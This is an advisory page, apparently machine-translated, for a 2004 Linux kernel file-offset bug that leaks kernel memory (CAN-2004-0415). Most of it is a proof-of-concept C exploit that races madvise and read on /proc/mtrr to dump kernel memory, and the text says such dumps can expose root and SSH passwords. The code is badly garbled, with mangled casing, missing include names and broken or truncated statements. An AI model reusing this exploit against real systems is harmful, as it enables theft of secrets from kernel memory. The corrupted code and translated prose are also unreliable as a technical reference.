Linux kernel file OFFSET Pointer Sensitive Information Leak Vulnerability

xiaoxiao2021-03-06  71

description:

-------------------------------------------------- ----------------------------

-

CVE (CAN) ID: CAN-2004-0415

Linux is an open source operating system.

Linux kernels have problems when handling 64-bit file offset pointers, and local attackers can use this vulnerability to obtain kernels.

Sensitive information in memory.

Linux kernel provides file processing API for user space applications, generally said that a file can be identified by file name and

The file descriptor for the returning kernel file object is turned on via the Open (2) system call.

One of the file objects is a file offset (file offset), each read and write the location of the OFFSET record

Start reading and writing. In addition, via LSeek (2) system call can also change the current read / write in the file image on the media.

position.

In the nearest Linux, Which is included in two different versions of files to process API: Old 32-bit and new 64-bit (LFS)

API. The ISEC team found that multiple code incorrectly converted from 64-bit size file offset to 32-bit file offset, can result

Unsafe access to file offset member variables.

ISEC discovers most / proc / version (such as / proc / version) leaks that did not initialize kernel memory pages, can be used by attackers

Sensitive information.

Use the / proc / mtrr file to read a large number of kernel memory information, including the root password, OpenSSH login password, and the like. detailed

See the following information:

Http://isec.pl/vulnerabilities/isec-0016-procleaks.txt

testing method:

-------------------------------------------------- ----------------------------

-

caveat

The following procedures (Methods) may have an aggressive, only for security research and teaching. Users are at your own risk!

Paul Starzetz (Paul@starzetz.de) provides the following test methods:

/ *

* gcc -o3 proc_kmem_dump.c -o proc_kmem_dump

*

* CopyRight (C) 2004 ISEC Security Research. All Rights Reserved.

*

* This Program Is for Educational Purposes * ONLY * IT IS Provided "As IS"

* And with welyi, printing, distribution, modification

* WITHOUT Permission of The Author is strictly prohibited.

*

* /

#define _GNu_Source

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

// define machine MEM SIZE IN MB

#define memsize 64

_syscall5 (int, _llseek, uint, fd, ulong, hi, ulong, lo, loff_t *, res,

UINT, WH);

Void Fatal (Const Char * MSG)

{

Printf ("n");

IF (! errno) {

FPrintf (stderr, "fatal error:% SN", MSG);

}

Else {PERROR (MSG);

}

Printf ("n");

Fflush (stdout);

Fflush (stderr);

Exit (31337);

}

Static int CPID, NC, FD, PFD, R = 0, I = 0, CSIZE, FSIZE = 1024 * 1024 * MEMSIZE,

Size = Page_Size, US;

Static Volatile Int Go [2];

Static Loff_T OFF;

Static char * buf = null, * file, child_stack [Page_size];

Static struct TimeVal TV1, TV2;

STATIC STRUCT Stat;

// CHild Close Sempahore & Sleep

INT Start_child (Void * Arg)

{

// unlock Parent & Close Semaphore

Go [0] = 0;

MADVISE (file, csize, madv_dontneed);

Madvise (File, CSIZE, MADV_SEQUENTIAL);

GetTimeOfDay; & TV1, NULL;

READ (PFD, BUF, 0);

GO [0] = 1;

R = MADVISE (file, csize, madv_willneed);

IF (r)

Fatal ("MADVISE");

// parent blocked on mmap_sem? good!

IF (Go [1] == 1 || _llseek (PFD, 0, 0, & Off, Seek_cur) ", Name);

Printf ("nn");

Exit (1);

}

INT Main (int AC, char ** av)

{

IF (AC <2)

USAGE (AV [0]);

// mmap big file not in cache

R = Stat (AV [1], & ST);

IF (r)

Fatal ("stat file");

CSIZE = (st.st_size (page_size-1)) & ~ (page_size-1);

FD = Open (AV [1], O_RDonly);

IF (fd <0)

Fatal ("Open file");

File = mmap (null, csize, prot_read, map_shared, fd, 0);

IF (file == map_failed)

Fatal ("MMAP");

Close (FD);

Printf ("N [ ] mmaped uncached file at% P -% P", File, File Csize;

Fflush (stdout);

PFD = Open ("/ proc / mtrr", o_rdonly);

IF (PFD <0)

Fatal ("open");

FD = Open ("KMem.dat", O_RDWR | O_CREAT | O_TRUNC, 0644);

IF (FD <0)

Fatal ("Open Data");

R = ftruncate (fd, fsize);

IF (r <0)

Fatal ("ftruncate");

Buf = mmap (null, fsize, prot_read | prot_write, map_shared, fd, 0);

IF (buf == map_failed)

Fatal ("MMAP"); Close (FD);

Printf ("N [ ] Mmaped Kernel Data File At% P", BUF);

Fflush (stdout);

// Clone Thread Wait for Child Sleep

NC = nice (0);

CPID = Clone (& start_child, child_stack sizeof (child_stack) -4,

Clone_files | Clone_VM, NULL;

NICE (19-NC);

While (Go [0] == 0) {

i ;

}

// Try to read & Sleep & Move Fpos to Be Negative

GetTimeOfDay; & TV1, NULL;

Go [1] = 1;

R = Read (PFD, BUF, SIZE);

GO [1] = 2;

GetTimeOfDay; & TV2, NULL;

IF (r <0)

Fatal ("Read");

While (Go [0]! = 2) {

i ;

}

US = TV2.tv_sec - TV1.tv_sec;

US * = 1000000;

US = (TV2.tv_usec - tv1.tv_usec);

Printf ("N [ ] Read% D Bytes IN% D Usec", R, US); FFLUSH (STDOUT);

R = _llseek (PFD, 0, 0, & Off, Seek_cur);

IF (r <0) {

Printf ("N [ ] Success, Lseek Fails, Reading Kernel Mem ... N");

Fflush (stdout);

i = 0;

For (;;) {

R = read (PFD, BUF, Page_Size);

IF (r! = Page_size)

Break;

BUF = Page_Size;

i ;

Printf ("R Page% 6D", I); FFLUSH (STDOUT);

}

Printf ("N [ ] DONE, Err =% S, STRERROR (Errno));

Fflush (stdout);

}

Close (PFD);

Printf ("n");

Sleep (1);

Kill (CPID, 9);

Return 0;

} '

转载请注明原文地址:https://www.9cbs.com/read-121124.html

New Post(0)